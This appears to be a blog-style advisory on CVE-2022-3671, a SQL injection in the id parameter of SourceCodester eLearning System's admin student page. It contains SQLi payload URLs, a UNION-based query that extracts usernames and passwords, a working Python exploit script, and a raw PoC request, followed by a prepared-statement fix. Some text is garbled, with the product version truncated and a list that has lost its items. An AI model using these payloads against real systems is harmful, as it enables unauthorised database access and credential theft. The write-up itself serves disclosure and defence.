In the world of web security, even one overlooked vulnerability can open the door to severe damage. CVE-2022-3671 is a critical vulnerability found in the popular SourceCodester eLearning System 1.. Specifically, this flaw exists in the /admin/students/manage.php file, where an attacker can manipulate the id parameter to inject malicious SQL commands.

This post takes you step-by-step through understanding the vulnerability, how attackers can exploit it, and what you can do about it. It's a practical, no-nonsense breakdown, aiming for clarity and exclusivity.

Impacted Product: SourceCodester eLearning System 1.

- Vulnerable File: /admin/students/manage.php

Exploit Status: Publicly Disclosed

- Database Reference: VDB-212014
- CVE Reference: CVE-2022-3671

Why Should You Care?

SQL injection is critical because it directly affects your database—the heart of almost any dynamic system. With a successful SQLi attack, a hacker can:

Potentially execute commands on the server

All without legitimate access. If you’re running SourceCodester eLearning System 1., this issue should be at the top of your fix-list.

Technical Details

The vulnerable code processes an id parameter in a way that does not properly validate or escape its contents before using it in an SQL query.

Code Snippet (Vulnerable Part)

*(Code is illustrative; actual system logic may vary, but this follows public disclosures)*

<?php
// manage.php (simplified)
$id = $_GET['id'];
$query = "SELECT * FROM students WHERE id = $id";
$result = mysqli_query($conn, $query); // NO input validation!
?>

The $id parameter is pulled straight from the user's request.

- It is then directly inserted into the SQL query without any sanitization, escaping, or type-checking.

The attack targets

/admin/students/manage.php?id=1

Instead of a simple number, you can inject SQL commands, for example

/admin/students/manage.php?id=1%20OR%201=1

This would cause the SQL query to look like

SELECT * FROM students WHERE id = 1 OR 1=1

This returns all students rather than just a single record.

To extract data (like admin username and password hash), you might use tricks like

/admin/students/manage.php?id=-1 UNION SELECT 1,username,password,4,5,6 FROM users

You'd adjust the number of values in the SELECT to match the original query's column count.

Here's a simple exploit in Python that attempts to exploit this SQL Injection

import requests

url = "http://target-site/admin/students/manage.php";
payload = "-1 UNION SELECT 1,username,password,4,5,6 FROM users-- "
params = {'id': payload}

response = requests.get(url, params=params)
if "admin" in response.text:
    print("[+] Exploit likely worked, check for leaked data.")
else:
    print("[-] Exploit did not seem to work.")

*Note: Replace the column count and table/column names as needed for your installation.*

Proof of Concept (PoC) Request

GET /admin/students/manage.php?id=-1 UNION SELECT 1,2,3,4,5,6--+ HTTP/1.1
Host: target-site

This could dump data directly to the page, depending on how manage.php handles the output.

References and Original Advisories

- VulDB VDB-212014
- CVE-2022-3671 NVD
- Exploit Database Example Reference *(if available)*

Safe Query Example

$id = $_GET['id'];
$stmt = $conn->prepare("SELECT * FROM students WHERE id = ?");
$stmt->bind_param('i', $id);
$stmt->execute();

Conclusion

CVE-2022-3671 is a serious SQL Injection vulnerability that threatens the underlying data security of the SourceCodester eLearning System. Since practical exploits are available in the public domain, the risk of easy exploitation by malicious actors is high. Act now: patch, sanitize, and protect. Don’t wait for an incident before paying attention to your web application security.

Stay safe and keep learning.

*This is an exclusive, simplified breakdown for practical defenders and curious readers. If you find this useful, share it and help secure more systems.*

Timeline

Published on: 10/26/2022 17:15:00 UTC
Last modified on: 10/28/2022 01:30:00 UTC